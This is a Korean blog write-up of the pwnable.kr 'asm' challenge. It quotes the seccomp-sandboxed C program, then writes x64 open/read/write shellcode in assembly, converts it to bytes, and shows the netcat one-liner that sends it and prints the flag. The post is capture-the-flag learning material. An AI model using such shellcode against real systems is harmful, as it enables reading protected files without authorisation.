시작
안녕하세요!! :D 즐거운 추석 연휴에요
LOB 다 풀고 복귀하려 했지만 바깥 세상엔 재밌는게 너무 많아서..
다음 휴가 때 마무리하려구요ㅎㅎ..
밤에 심심해서 pwnable,kr 문제를 풀어봤습니다!!
토들러 난이도도 거의 끝나가네요ㅠㅠ 제 군생활은 토들러와 함께 보냈습니다.
쉘코드 만드는 문제, asm!! 시작해봐요
Write UP
asm@prowl:~$ ls -l
total 28
-rwxr-xr-x 1 root root 13704 Nov 29 2016 asm
-rw-r--r-- 1 root root 1793 Nov 29 2016 asm.c
-rw-r--r-- 1 root root 211 Nov 19 2016 readme
-rw-r--r-- 1 root root 67 Nov 19 2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
기괴한 파일이 하나 들어있네요. readme
부터 볼까요?
asm@prowl:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
nc로 붙여서 플래그를 따 내라고 합니다.
asm_pwn 권한 그 폴더 안에 있는 저 기괴한 이름의 파일이 플래그란 소리네요.
C 코드도 까보죠.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xf
f";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
긴 코드가 나왔어요.
처음보는 코드들이 너무 많아서 여러 블로그를 참고했습니다.
(https://nroses-taek.tistory.com/151 : 설명을 너무 잘 해주셨어요)
일단 sandbox 부분!! seccomp이란 라이브러리를 import 후 사용하는데 이게 뭔가 했더니
secure computing mode의 약자로, 프로세스를 고립시켜 syscall을 불가능하게 만들어주는 sandboxing 매커니즘이라고 하네요.
SCMP_ACT_ALLOW 옵션으로 사용 가능한 syscall을 추가해줄 수 있다고 합니다.
그렇다면 이 코드에선 open(), read(), write(), exit()의 syscall은 가능하겠네요.
그 다음은 chroot! 설명이 뭔가 무시무시해요. 이것도 프로세스를 고립시키는 코드로 여기선 /home/asm_pwn
디렉터리에 갇히는 명령입니다.
결론적으로 우리는
nc로 바이너리에 붙게 됨과 동시에 /home/asm_pwn
폴더에 갇히고 open(), read(), write() 함수를 이용해 파일 내용을 뽑아내야 하는 거에요. 그것도 쉘코드로!!
((void (*)(void))sh();
이 부분.. 앞선 쉘코드 포스팅에서 봤던 것과 똑같이 생겼네요.
sh
를 실행하라는 친구죠? 이 녀석은 0x4141000
부터 시작돼요. NOP으로 초기화도 됩니다.
그런데 보니깐 시작 부분에 stub이란 친구를 붙여줘요. 얘부터 뭔지 알아야 될 것 같습니다.
main을 디스어셈블 해보면 memcpy() 부분의 stub의 주소가 나와요.
gdb-peda$ x/30i 0x2020c0
0x2020c0 : xor rax,rax
0x2020c3 <stub+3>: xor rbx,rbx
0x2020c6 <stub+6>: xor rcx,rcx
0x2020c9 <stub+9>: xor rdx,rdx
0x2020cc <stub+12>: xor rsi,rsi
0x2020cf <stub+15>: xor rdi,rdi
0x2020d2 <stub+18>: xor rbp,rbp
0x2020d5 <stub+21>: xor r8,r8
0x2020d8 <stub+24>: xor r9,r9
0x2020db <stub+27>: xor r10,r10
0x2020de <stub+30>: xor r11,r11
0x2020e1 <stub+33>: xor r12,r12
0x2020e4 <stub+36>: xor r13,r13
0x2020e7 <stub+39>: xor r14,r14
0x2020ea <stub+42>: xor r15,r15
0x2020ed <stub+45>: .byte 0x0
xor 연산으로 레지스터를 초기화 해주는 쉘코드네요.
그렇다면!! 아무 상관 없이 우리의 쉘코드를 만들어주면 됩니다!!
의사코드로 쉘코드를 표현하면 다음과 같아요.
open("this is pwna....", 0);
read(fd, buf, 1024);
write(1, buf, 1024);
이제 쉘코드를 만들어봅시다!!
global _start
_start :
mov al, 0x2
mov rdi, 0x41414050
syscall
push rax
pop rdi
mov rsi, 0x41414400
mov dx, 0x100
xor rax, rax
syscall
xor rax, rax
mov al, 0x1
push rax
pop rdi
syscall
위의 C 코드를 어셈으로 바꿨습니다.
컴파일 과정은 다음과 같아요. (https://xerxes-break.tistory.com/346 참고!!)
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_asm/practice# nasm -f elf64 ex.asm
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_asm/practice# ld ex.o
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_asm/practice# objcopy -O binary a.out ex.bin
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_asm/practice# hexdump -v -e '"\\""x" 1/1 "%02x" ""' ex.bin
\xb0\x02\xbf\x50\x40\x41\x41\x0f\x05\x50\x5f\xbe\x00\x44\x41\x41\x66\xba\x00\x01\x48\x31\xc0\x0f\x05\x48\x31\xc0\xb0\x01\x50\x5f\x0f\x05
쉘코드도 얻었으니깐 서버로 가봅시다!!
asm@prowl:~$ (python -c 'print "\xb0\x02\xbf\x50\x40\x41\x41\x0f\x05\x50\x5f\xbe\x00\x44\x41\x41\x66\xba\x00\x01\x48\x31\xc0\x0f\x05\x48\x31\xc0\xb0\x01\x50\x5f\x0f\x05" + "this_is_pwnable.kr_fl
ag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo00000000000
0o0o0o0o0o0o0ong\x00\x00"'; cat) | nc 0 9026
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode: Mak1ng_shelLcodE_i5_veRy_eaSy
Exploit!!
마무리
풀긴 풀었는데.. 한 가지 의문인게
왜 쉘코드 뒤에 파일명을 붙여주면 0x41414050
영역에 들어가는지 모르겠습니다 ㅠㅠ
이 부분은 더 공부를 해봐야 할 것 같네요.
추가적으로 pwntools의 shellcraft 사용법도 알아본 후 수정하겠습니다.
감사합니다 :D
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] unlink (0) | 2019.08.30 |
---|---|
[pwnable.kr] horcruxes (0) | 2019.06.29 |
[pwnable.kr] fsb (0) | 2019.06.26 |
[pwnable.kr] unexploitable (0) | 2019.06.20 |
pwnable.kr : uaf 풀이 (0) | 2019.04.18 |